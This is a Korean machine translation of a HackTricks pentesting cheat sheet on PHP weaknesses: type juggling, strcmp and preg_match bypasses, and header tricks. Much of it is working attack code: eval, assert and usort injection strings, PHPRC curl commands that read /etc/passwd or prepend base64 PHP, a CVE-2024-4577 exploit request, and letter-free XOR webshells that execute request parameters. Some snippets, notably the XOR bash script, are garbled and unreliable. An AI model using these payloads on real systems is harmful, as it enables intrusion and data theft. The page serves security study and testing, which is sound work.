hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp
2024-07-19 11:35:15 +00:00
..
php-useful-functions-disable_functions-open_basedir-bypass Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2024-07-19 11:35:15 +00:00
php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:16:40 +00:00
php-ssrf.md Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2024-07-19 11:35:15 +00:00
README.md Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2024-07-19 11:35:15 +00:00

PHP Tricks

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

{% embed url="https://websec.nl/" %}

쿠키의 일반적인 위치:

이것은 phpMyAdmin 쿠키에도 유효합니다.

쿠키:

PHPSESSID
phpMyAdmin

위치:

/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e

PHP 비교 우회

느슨한 비교/타입 조작 ( == )

PHP에서 ==가 사용되면 예상치 못한 경우에 비교가 예상대로 작동하지 않습니다. 이는 "=="가 동일한 타입으로 변환된 값만 비교하기 때문이며, 비교되는 데이터의 타입이 동일한지 비교하고 싶다면 ===를 사용해야 합니다.

PHP 비교 표: https://www.php.net/manual/en/types.comparisons.php

{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}

  • "string" == 0 -> True 숫자로 시작하지 않는 문자열은 숫자와 같습니다.
  • "0xAAAA" == "43690" -> True 10진수 또는 16진수 형식의 숫자로 구성된 문자열은 숫자가 동일할 경우 다른 숫자/문자열과 비교할 수 있으며 결과는 True입니다. (문자열의 숫자는 숫자로 해석됩니다.)
  • "0e3264578" == 0 --> True "0e"로 시작하고 그 뒤에 어떤 것이든 오는 문자열은 0과 같습니다.
  • "0X3264578" == 0X --> True "0"로 시작하고 그 뒤에 어떤 문자(여기서 X는 어떤 문자든 가능)와 그 뒤에 어떤 것이든 오는 문자열은 0과 같습니다.
  • "0e12334" == "0" --> True 이는 매우 흥미로운데, 어떤 경우에는 "0"의 문자열 입력과 해시된 내용을 제어할 수 있습니다. 따라서 "0e"로 시작하고 어떤 문자도 없는 해시를 생성할 수 있는 값을 제공할 수 있다면 비교를 우회할 수 있습니다. 이 형식의 이미 해시된 문자열은 여기에서 찾을 수 있습니다: https://github.com/spaze/hashes
  • "X" == 0 --> True 문자열의 어떤 문자도 int 0과 같습니다.

자세한 정보는 https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09에서 확인하세요.

in_array()

타입 조작은 기본적으로 in_array() 함수에도 영향을 미칩니다 (엄격한 비교를 하려면 세 번째 인수를 true로 설정해야 합니다):

$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False

strcmp()/strcasecmp()

이 함수가 모든 인증 확인(비밀번호 확인과 같은)에 사용되고 사용자가 비교의 한 쪽을 제어할 수 있다면, 그는 비밀번호의 값으로 문자열 대신 빈 배열을 보낼 수 있습니다 (https://example.com/login.php/?username=admin&password[]=) 그리고 이 확인을 우회할 수 있습니다:

if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password

strcasecmp()와 동일한 오류가 발생합니다.

엄격한 타입 조작

===사용되고 있더라도 비교가 취약하게 만드는 오류가 있을 수 있습니다. 예를 들어, 비교가 비교하기 전에 데이터를 다른 타입의 객체로 변환하고 있는 경우:

(int) "1abc" === (int) "1xyz" //This will be true

preg_match(/^.*/)

**preg_match()**는 사용자 입력을 검증하는 데 사용될 수 있습니다(사용자 입력에 블랙리스트단어/정규 표현식존재하는지 확인하고, 존재하지 않으면 코드는 계속 실행될 수 있습니다).

New line bypass

그러나 정규 표현식의 시작을 구분할 때 preg_match()사용자 입력의 첫 번째 줄만 확인합니다. 따라서 어떤 방법으로든 여러 줄로 입력을 전송할 수 있다면 이 검사를 우회할 수 있습니다. 예:

$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"

이 검사를 우회하려면 새 줄이 URL 인코딩된 값(%0A)을 전송하거나, JSON 데이터를 보낼 수 있다면 여러 줄로 전송하세요:

{
"cmd": "cat /etc/passwd"
}

여기에서 예제를 찾으세요: https://ramadistra.dev/fbctf-2019-rceservice

길이 오류 우회

(이 우회는 PHP 5.2.5에서 시도된 것으로 보이며, PHP 7.3.15에서는 작동하지 않았습니다)
preg_match()에 유효한 매우 큰 입력을 보낼 수 있다면, 처리할 수 없게 되어 검사를 우회할 수 있습니다. 예를 들어, JSON을 블랙리스트에 올리고 있다면 다음과 같이 보낼 수 있습니다:

payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'

From: https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0

ReDoS 우회

Trick from: https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223 and https://mizu.re/post/pong

간단히 말해, 문제는 PHP의 preg_* 함수가 PCRE 라이브러리를 기반으로 하기 때문에 발생합니다. PCRE에서는 특정 정규 표현식이 많은 재귀 호출을 사용하여 일치되며, 이는 많은 스택 공간을 사용합니다. 허용되는 재귀 호출의 수에 제한을 설정할 수 있지만, PHP에서는 이 제한이 기본적으로 100,000으로 설정되어 있어 스택에 맞지 않습니다.

이 Stackoverflow 스레드도 이 문제에 대해 더 깊이 논의된 게시물에 링크되어 있었습니다. 우리의 작업은 이제 명확해졌습니다:
정규 표현식이 100_000회 이상의 재귀를 수행하게 만드는 입력을 보내어 SIGSEGV를 유발하고, preg_match() 함수가 false를 반환하게 하여 애플리케이션이 우리의 입력이 악의적이지 않다고 생각하게 만든 후, 페이로드의 끝에 {system(<verybadcommand>)}와 같은 놀라움을 던져 SSTI --> RCE --> flag :).

정규 표현식 용어로, 우리는 실제로 100k "재귀"를 수행하는 것이 아니라 "백트래킹 단계"를 세고 있으며, PHP 문서에 따르면 pcre.backtrack_limit 변수의 기본값은 1_000_000 (1M)입니다.
이를 달성하기 위해 'X'*500_001은 100만 개의 백트래킹 단계를 생성합니다 (500k 전방 및 500k 후방):

payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"

PHP 난독화를 위한 타입 조작

$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7

Execute After Redirect (EAR)

PHP가 다른 페이지로 리디렉션하고 있지만 Location 헤더가 설정된 후에 die 또는 exit 함수가 호출되지 않으면, PHP는 계속 실행되어 데이터를 본문에 추가합니다:

<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>

경로 탐색 및 파일 포함 취약점

Check:

{% content-ref url="../../../pentesting-web/file-inclusion/" %} file-inclusion {% endcontent-ref %}

더 많은 트릭

  • register_globals: PHP < 4.1.1.1 또는 잘못 구성된 경우, register_globals가 활성화될 수 있습니다(또는 그 동작이 모방되고 있을 수 있습니다). 이는 $_GET와 같은 전역 변수에 값이 있는 경우 예를 들어 $_GET["param"]="1234"와 같이, $param을 통해 접근할 수 있음을 의미합니다. 따라서 HTTP 매개변수를 전송함으로써 코드 내에서 사용되는 변수를 덮어쓸 수 있습니다.
  • 같은 도메인의 PHPSESSION 쿠키는 같은 위치에 저장됩니다. 따라서 도메인 내에서 다른 경로에서 다른 쿠키가 사용되는 경우 해당 경로가 다른 경로 쿠키의 값을 설정하여 쿠키에 접근하게 만들 수 있습니다.
    이렇게 하면 두 경로가 같은 이름의 변수를 접근할 경우 path1의 그 변수 값을 path2에 적용할 수 있습니다. 그러면 path2는 path1의 변수를 유효한 것으로 간주하게 됩니다(쿠키에 path2에 해당하는 이름을 부여함으로써).
  • 사용자의 사용자 이름이 있는 경우, 주소를 확인하세요: /~<USERNAME> php 디렉토리가 활성화되어 있는지 확인합니다.
  • php 래퍼를 사용한 LFI 및 RCE

password_hash/password_verify

이 함수들은 일반적으로 PHP에서 비밀번호로부터 해시를 생성하고 해시와 비교하여 비밀번호가 올바른지 확인하는 데 사용됩니다.
지원되는 알고리즘은: PASSWORD_DEFAULTPASSWORD_BCRYPT(시작은 $2y$). PASSWORD_DEFAULT는 자주 PASSWORD_BCRYPT와 동일합니다. 현재 PASSWORD_BCRYPT입력의 크기 제한이 72바이트입니다. 따라서 이 알고리즘으로 72바이트보다 큰 것을 해시하려고 하면 처음 72B만 사용됩니다:

$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False

$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True

HTTP headers bypass abusing PHP errors

헤더 설정 후 오류 발생

이 트위터 스레드에서 1000개 이상의 GET 파라미터 또는 1000개 이상의 POST 파라미터 또는 20개의 파일을 전송하면, PHP는 응답에서 헤더를 설정하지 않는 것을 볼 수 있습니다.

예를 들어 CSP 헤더가 설정된 코드에서 우회할 수 있게 합니다:

<?php
header("Content-Security-Policy: default-src 'none';");
if (isset($_GET["xss"])) echo $_GET["xss"];

헤더를 설정하기 전에 본문 채우기

PHP 페이지가 오류를 출력하고 사용자가 제공한 일부 입력을 다시 에코하는 경우, 사용자는 PHP 서버가 충분히 긴 콘텐츠를 출력하도록 만들어서 응답에 헤더를 추가하려고 할 때 서버가 오류를 발생시키게 할 수 있습니다.
다음 시나리오에서 공격자는 서버가 큰 오류를 발생시키도록 만들었으며, 화면에서 볼 수 있듯이 PHP가 헤더 정보를 수정하려고 할 때, 수정할 수 없었습니다 (예를 들어 CSP 헤더가 사용자에게 전송되지 않았습니다):

PHP 함수에서의 SSRF

페이지를 확인하세요:

{% content-ref url="php-ssrf.md" %} php-ssrf.md {% endcontent-ref %}

코드 실행

system("ls");
`ls`;
shell_exec("ls");

더 유용한 PHP 함수는 여기에서 확인하세요

preg_replace()를 통한 RCE

preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")

코드를 실행하려면 "replace" 인수에 최소한 하나의 일치 항목이 필요합니다.
이 preg_replace 옵션은 PHP 5.5.0부터 사용 중단되었습니다.

Eval()을 통한 RCE

'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>

Assert()를 통한 RCE

이 php 내의 함수는 문자열로 작성된 코드를 실행하여 true 또는 false를 반환할 수 있게 해줍니다 (그리고 이에 따라 실행을 변경할 수 있습니다). 일반적으로 사용자 변수는 문자열의 중간에 삽입됩니다. 예를 들어:
assert("strpos($_GET['page']),'..') === false") --> 이 경우 RCE를 얻기 위해 다음과 같이 할 수 있습니다:

?page=a','NeVeR') === false and system('ls') and strpos('a

코드 구문깨고, 페이로드추가한 다음 다시 수정해야 합니다. "**and" 또는 "%26%26" 또는 "|"**와 같은 논리 연산을 사용할 수 있습니다. "or", "||"는 작동하지 않으니 주의하세요. 첫 번째 조건이 참이면 우리의 페이로드가 실행되지 않기 때문입니다. 같은 이유로 ";"도 작동하지 않습니다. 우리의 페이로드가 실행되지 않기 때문입니다.

다른 옵션은 문자열에 명령 실행을 추가하는 것입니다: '.highlight_file('.passwd').'

다른 옵션(내부 코드를 가지고 있다면)은 실행을 변경하기 위해 일부 변수를 수정하는 것입니다: $file = "hola"

usort()를 통한 RCE

이 함수는 특정 함수를 사용하여 항목 배열을 정렬하는 데 사용됩니다.
이 함수를 악용하려면:

<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#

<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#

<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>

You can also use // to comment the rest of the code.

To discover the number of parenthesis that you need to close:

  • ?order=id;}//: we get an error message (Parse error: syntax error, unexpected ';'). We are probably missing one or more brackets.
  • ?order=id);}//: we get a warning. That seems about right.
  • ?order=id));}//: we get an error message (Parse error: syntax error, unexpected ')' i). We probably have too many closing brackets.

RCE via .httaccess

If you can upload a .htaccess, then you can configure several things and even execute code (configuring that files with extension .htaccess can be executed).

Different .htaccess shells can be found here

RCE via Env Variables

If you find a vulnerability that allows you to modify env variables in PHP (and another one to upload files, although with more research maybe this can be bypassed), you could abuse this behaviour to get RCE.

  • LD_PRELOAD: 이 환경 변수는 다른 바이너리를 실행할 때 임의의 라이브러리를 로드할 수 있게 해줍니다 (이 경우에는 작동하지 않을 수 있습니다).
  • PHPRC : PHP에 구성 파일의 위치를 지시합니다. 일반적으로 php.ini라고 불립니다. 자신의 구성 파일을 업로드할 수 있다면, PHPRC를 사용하여 PHP가 이를 가리키도록 하십시오. 두 번째 업로드된 파일을 지정하는 auto_prepend_file 항목을 추가합니다. 이 두 번째 파일은 일반 PHP 코드를 포함하며, 이는 다른 코드가 실행되기 전에 PHP 런타임에 의해 실행됩니다.
  1. 쉘코드를 포함하는 PHP 파일을 업로드합니다.
  2. 1단계에서 업로드한 파일을 실행하도록 PHP 전처리기에 지시하는 auto_prepend_file 지시어를 포함하는 두 번째 파일을 업로드합니다.
  3. 2단계에서 업로드한 파일로 PHPRC 변수를 설정합니다.
  • 이 체인을 실행하는 방법에 대한 자세한 정보는 원본 보고서에서 확인하십시오.
  • PHPRC - 또 다른 옵션
  • 파일을 업로드할 수 없는 경우, FreeBSD에서 **stdin**을 포함하는 "file" /dev/fd/0를 사용할 수 있습니다:
  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'
  • 또는 RCE를 얻기 위해 **allow_url_include**를 활성화하고 base64 PHP 코드가 포함된 파일을 전처리합니다:
  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
  • 기술 이 보고서에서.

XAMPP CGI RCE - CVE-2024-4577

웹 서버는 HTTP 요청을 구문 분석하고 이를 PHP 스크립트에 전달하여 http://host/cgi.php?foo=bar와 같은 요청을 실행합니다. 이는 php.exe cgi.php foo=bar로 매개변수 주입을 허용합니다. 이는 본문에서 PHP 코드를 로드하기 위해 다음 매개변수를 주입할 수 있게 해줍니다:

-d allow_url_include=1 -d auto_prepend_file=php://input

또한, PHP의 후속 정규화로 인해 0xAD 문자를 사용하여 "-" 매개변수를 주입하는 것이 가능합니다. 이 게시물의 익스플로잇 예제를 확인하세요.

POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: curl/8.3.0
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive

<?php
phpinfo();
?>

PHP 정적 분석

이 함수 호출에 코드 삽입이 가능한지 확인하세요 (여기서): here

exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea

PHP 애플리케이션을 디버깅하는 경우 /etc/php5/apache2/php.inidisplay_errors = On을 추가하여 전역적으로 오류 출력을 활성화하고 apache를 재시작할 수 있습니다: sudo systemctl restart apache2

PHP 코드 디오브퓨스케이팅

www.unphp.net을 사용하여 php 코드를 디오브퓨스케이트할 수 있습니다.

PHP 래퍼 및 프로토콜

PHP 래퍼와 프로토콜은 시스템에서 쓰기 및 읽기 보호를 우회하고 이를 손상시킬 수 있습니다. 자세한 정보는 이 페이지를 확인하세요.

Xdebug 인증되지 않은 RCE

phpconfig() 출력에서 Xdebug활성화되어 있는 경우 https://github.com/nqxcode/xdebug-exploit를 통해 RCE를 얻으려고 시도해야 합니다.

변수 변수

$x = 'Da';
$$x = 'Drums';

echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums

RCE abusing new $_GET["a"]($_GET["b")

페이지에서 임의 클래스의 새 객체를 생성할 수 있다면 RCE를 얻을 수 있습니다. 방법을 배우려면 다음 페이지를 확인하세요:

{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %} php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md {% endcontent-ref %}

Execute PHP without letters

https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/

Using octal

$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);

XOR

$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)

XOR 쉬운 셸 코드

이 글 에 따르면, 다음과 같은 방법으로 쉬운 셸 코드를 생성할 수 있습니다:

$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);

그래서, 숫자와 문자가 없는 임의의 PHP를 실행할 수 있다면 다음과 같은 요청을 보내 임의의 PHP를 실행할 수 있습니다:

POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded

comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);

더 자세한 설명은 https://ctf-wiki.org/web/php/php/#preg_match에서 확인하세요.

XOR Shellcode (eval 내부)

#!/bin/bash

if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi

CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"

Perl과 유사한

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

{% embed url="https://websec.nl/" %}

{% hint style="success" %} AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기
{% endhint %}